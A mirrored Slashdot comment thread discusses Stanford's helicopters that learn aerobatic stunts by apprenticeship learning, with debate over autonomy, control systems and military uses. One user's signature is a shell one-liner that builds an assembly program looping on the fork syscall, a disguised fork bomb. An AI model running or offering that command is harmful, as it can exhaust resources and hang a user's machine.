Slashdot Mirror


Stanford's "Autonomous" Helicopters Learn

An anonymous reader writes "Stanford computer scientists have developed an artificial intelligence system that enables robotic helicopters to teach themselves to fly difficult stunts by 'watching' other helicopters perform the same maneuvers. The result is an autonomous helicopter that can perform a complete airshow of complex tricks on its own. The stunts are 'by far the most difficult aerobatic maneuvers flown by any computer controlled helicopter,' said Andrew Ng, the professor directing the research of graduate students Pieter Abbeel, Adam Coates, Timothy Hunter and Morgan Quigley. The dazzling airshow is an important demonstration of 'apprenticeship learning,' in which robots learn by observing an expert, rather than by having software engineers peck away at their keyboards in an attempt to write instructions from scratch.'" The title of the linked article uses the term "autonomous," but that's somewhat misleading. The copters can't fly on their own, but rather can duplicate complex maneuvers learned from a human pilot.

24 of 90 comments (clear)

  1. That's exactly how Terminator got started by Haoie · · Score: 5, Funny

    Remember those robot gunships in the Terminator movies? Yes, the they shot lasers and what not. Those things had humble beginnings.

    --
    If each mistake being made is a new one, then progress is being made.
    1. Re:That's exactly how Terminator got started by reeeh2000 · · Score: 2, Funny

      I for one welcome our new robot overlords.

    2. Re:That's exactly how Terminator got started by freddy_dreddy · · Score: 4, Informative
      --
      "Violence is the last refuge of the competent, and, generally, the first refuge of the incompetent" - Thing_1
    3. Re:That's exactly how Terminator got started by palegray.net · · Score: 2, Insightful

      I believe we're simply starting to see the more obvious signs that our species is performing its pre-programmed task exceptionally well: outdoing ourselves. I choose to view this situation optimistically; we're already beginning to converge with silicon-based technologies, and further developments along this line show great promise for the evolution (convergence?) of our species.

      We stopped evolving along a "natural" biological path a long time ago; what differentiates us is our ability to store, analyze, and transmit information. The increasing influence of computing and networks in our lives is no more than the natural extension of what our relatives in the distant past were doing when they first scratched symbols in the dirt.

  2. Autonomous by Anonymous Coward · · Score: 5, Insightful

    They still are autonomous. Would you call people non-autonomous because they learn from other people?

    1. Re:Autonomous by pete-classic · · Score: 5, Informative

      Your blithe refusal to even acknowledge the article is an inspiration, sir.

      It might seem that an autonomous helicopter could fly stunts by simply replaying the exact finger movements of an expert pilot using the joy sticks on the helicopter's remote controller. That approach, however, is doomed to failure because of uncontrollable variables such as gusting winds.

      -Peter

    2. Re:Autonomous by Hal_Porter · · Score: 5, Funny

      Yeah, they need to be able to learn an abstract concept and apply it to the conditions around them rather than learning a fixed sequence of actions and repeating blindly. In slashdot terms rather than posting "I for one welcome our robot overlords" to every article and get modded "-1 Die in Fire", they learn to make a slightly original joke tailored to the article and get modded up.

      Oh God, what have I become.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  3. UCAR by DustyShadow · · Score: 5, Informative

    DARPA had a project going on for awhile called UCAR, which was an unmanned autonomous combat helicopter. Unfortunately the war took all the money and DARPA had to cancel the competitions between Lockheed and Northrop.

    Northrop currently has an unmanned helicopter called Firescout that has autonomously landed on a Navy ship while the ship was moving.

    My point is that this type of work is nothing new.

    1. Re:UCAR by lordofwhee · · Score: 5, Insightful

      There's a HUGE difference between a robot that can manage to land on a fixed point on an object, and a robot that can actually LEARN how to land on that object. Remember, these robots know nothing. Not how to fly, not how to land, nothing, except how to learn.

  4. Re:So Mr. Ng makes semi-autonomous mini-helicopter by Anonymous Coward · · Score: 2, Informative

    It looks like someone with mod points has never read Snowcrash.

  5. Re:Helicopter macro recording? by Czyl · · Score: 5, Informative

    It's actually considerably more difficult. Unlike your computer, the helicopter encounters different environmental conditions each time it flies, so that just blindly recording the controller inputs and replaying them will cause the helicopter to crash. The trick in apprenticeship learning is to learn the flying model used by the pilot, not just recording and replaying a macro.

  6. Re:Duh, it doesn't mean automatic by Dpaladin · · Score: 2, Funny

    Who on slashdot wouldn't be familiar with the word autonomous?

    Not everyone on Slashdot posts as an Autonomous Coward.

    --
    Bad puns gave me bad karma. =(
  7. Not Autonomous? FTNWYWCBED* by Somegeek · · Score: 5, Insightful

    From the 2nd paragraph of the article:

    "The result is an autonomous helicopter than can perform a complete airshow of complex tricks on its own."

    From kdawson's summary:

    "The title of the linked article uses the term "autonomous," but that's somewhat misleading. The copters can't fly on their own, but rather can duplicate complex maneuvers learned from a human pilot."

    How in any way do you come to that conclusion based upon the data in the story?

    They CAN and DO fly by themselves. Out of the lab. In varying weather conditions. Constantly making adjustments for wind gusts, etc., none of which is being controlled by a human.

    And then the wisecrack about their AI? It uses an algorithm to study commands sent to another helicopter, studies the results, figures out what the goal of the commands was, and is able to implement those goals, on its own, more accurately than the original human pilot. That's not a strong AI?

    Can we please get some editors that understand what they are reading?

    *From The Not What You Would Call Brilliant Editing Department

    --
    And as you tread the halls of sanity, You feel so glad to be, Unable to go beyond. I have a message, From another time..
    1. Re:Not Autonomous? FTNWYWCBED* by jpate · · Score: 2, Interesting

      I wish they said what sort of algorithm was used. Is there an explicit model of wind &c. whose parameters are tuned from data, or is it some sort of straight machine learning approach like neural nets?? If the latter, I wonder how many example runs they had to make to give it enough data to be robust to environmental variation...

    2. Re:Not Autonomous? FTNWYWCBED* by BitZtream · · Score: 4, Insightful

      And then the wisecrack about their AI? It uses an algorithm to study commands sent to another helicopter, studies the results, figures out what the goal of the commands was, and is able to implement those goals, on its own, more accurately than the original human pilot. That's not a strong AI?

      Heh, the summery is just an example of ignorance. A human being does the EXACT same thing. The main difference being that when I put my aircraft into the air, I can redefine the programming very quickly without outside intervention. Currently the AI that has been developed works against a known, set collection of goals.

      One could argue, that in the military, that may be more useful than an actual person in many cases. The person my have a conviction that prevents them from carrying out the mission, for instance, a child on the battle field my prevent them from firing a weapon, even though the result of not firing means that thousands of people die elsewhere.

      Personally, having not served in the military, I can not comprehend how a pilot ( and I've always wanted to be a fighter pilot mind you ) or any other military personal can actually take someone elses life. I know plenty of men and women do it on it often enough to know that you can overcome that and justify the action to yourself, at least long enough to do it, but lets face it, no one that I would want in our military should be able to take a life and NOT feel something is wrong.

      To be clear, I do not fault those people who serve at all, I hold them with the highest respect because they do a job that I do not believe I could do, nor do I really WANT to do, I just want to play with the aircraft :)

      So ... if this AI is a little 'dumb', it may make things a whole lot better in the end. Of course, the other side of the argument, and the side that I'm on says that the human decisions made during combat help prevent us from being walking evil. It is that ability for us to keep our morals in check and consider more than just our assigned goals that keeps us different from machines and makes us, to our knowledge, unique, for good or bad. It is ALSO that ability to adjust our goals based on the situation that makes the difference in a war.

      If you turn all wars into battles between machines, its simple a contest of production and resources in which case its likely you can just decide the outcome in advance and save the resources. So do you do the Warcraft Rush, or do you camp and stockpile?

      Fortunately, I can't imagine that it will even end up that we have computers doing all the work for us as those in power tend to not want to give it up, even to their computerized slaves.

      --
      Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
    3. Re:Not Autonomous? FTNWYWCBED* by PPH · · Score: 4, Interesting

      It appears that two things are going on here, both interesting.

      First, the system is learning by observing a human operator as well as the 'chopper's response. This is a bit more than simple macro programming. The system observes a system state, an operator input and a subsequent state and appears to be deriving an initial set of control laws in addition to figuring out the operator's goals.

      Next, when it is in autonomous flight mode, it fine tunes the control laws to optimize the chopper's performance.

      The latter is actually an easier task for simple systems. Adaptive PID control systems are already in use, but a helicopter presents a problem involving multiple inputs and degrees of freedom. The former is a more interesting problem, particularly for unstable systems. Deriving parameters for a control system by watching another in action, when the observed inputs are noisy is tricky.

      --
      Have gnu, will travel.
  8. youtube "rc helicopter". by bronney · · Score: 2, Informative

    and you'll see. Throw in a little wind here and there and the robot doesn't stand a chance.

    http://ca.youtube.com/watch?v=gi7G-VzU2r4

    1. Re:youtube "rc helicopter". by SoupIsGoodFood_42 · · Score: 2, Insightful

      Why not? The tails on pretty much all RC helis are already controlled by a computer and they work very well. You can also get auto pilot systems that will hold the heli in a steady hover despite crosswinds etc. It might be a while before they can do the chaos maneuver a couple of feet off the ground like in that video, but there's no reason it can't be done -- not reason they can't do it even better.

  9. reinforcement learning vs. simulation by heroine · · Score: 2, Informative

    This story got a lot more attention than the other zillions of autonomous helicopters out there. The disappointment with the Stanford one is it is reinforcement learning. It's recording and playing the commands of a human pilot instead of simulating a dynamic model and deducing commands based on a genetic algorithm. The real value in ground based autopilot is having enough computing power to use biological algorithms.

    1. Re:reinforcement learning vs. simulation by Kryos · · Score: 2, Informative

      It's recording and playing the commands of a human pilot instead of simulating a dynamic model and deducing commands based on a genetic algorithm.

      Or, you could RTFA.

      As Oku repeated a maneuver several times, the trajectory of the helicopter inevitably varied slightly with each flight. But the learning algorithms created by Ng's team were able to discern the ideal trajectory the pilot was seeking. Thus the autonomous helicopter learned to fly the routine better - and more consistently - than Oku himself.

      --
      Now everybody's equal, just don't measure it. -Bad Religion
  10. Mirror neurons by zobier · · Score: 2, Interesting

    I'm put in mind of mirror neurons which fire sympathetically and seem to account for the ability of animals to mimic and thus learn novel behaviour.

    --
    Me lost me cookie at the disco.
  11. Re:Helicopter macro recording? by villy · · Score: 5, Interesting

    Exactly - that's where the AI comes in. It looks at numerous attempts of various tricks, notes the differences in the environmental variables and adjusts the controls wrt to the current conditions for the optimal execution. If anything it's more like, record 100 attempts, analyze and define a "good" routine, but also define good "exception handlers". I must say, I was pretty confused about what, if any, "watching" was involved - i.e. reflected-light-based vision. Pretty bad explanation, bordering on fail.

  12. Re:Not Autonomous? MOD PARENT DOWN by CompMD · · Score: 2, Insightful

    The helicopters can NOT fly by themselves "out of the lab." They are remote control helicopters with a few extra gadgets. In particular, they would include potentiometers to measure control surface deflection, digital servos, an AHRS unit, a data acquisition system, and a small autopilot computer based on a PowerPC, XScale, ARM9, or similar low-power CPU. The autopilot computer contains the definition of the control system, which is a set of nonlinear equations defining the dynamics and flight control of the helicopter. To perform a maneuver, the pilot moves the his controls which feed inputs to the control system. The servo outputs are based upon the equations defined by the control system. By recording the control inputs, accelerations, servo locations, and control surface deflections for a given maneuver, an autopilot program can be defined to fly the helicopter autonomously. Here's where AI comes into play. As the helicopter flies autonomously, there will inevitably be oscillations in the motion of the helicopter, since the human pilot that trained it cannot be perfect. However, by analyzing the feedback from the AHRS, servo locations, and control surface deflections, the control input gains to the autopilot program can be modified to give the helicopter a smoother flight by damping the unwanted oscillation induced by the autopilot attempting to reproduce the maneuver. It doesn't figure out the goal of the commands, it damps oscillation induced by the flight control system by figuring out what causes it. Its just math.

  13. Nice line break... by jabithew · · Score: 2, Funny

    I read this on the main page. It was laid out with

    "Stanford computer scientists have developed an artificial intelligence system that enables robotic helicopters to teach themselves to

    and then a new line, which I was certain was going to start with the word "kill".

    --
    All intents and purposes. Not intensive purposes.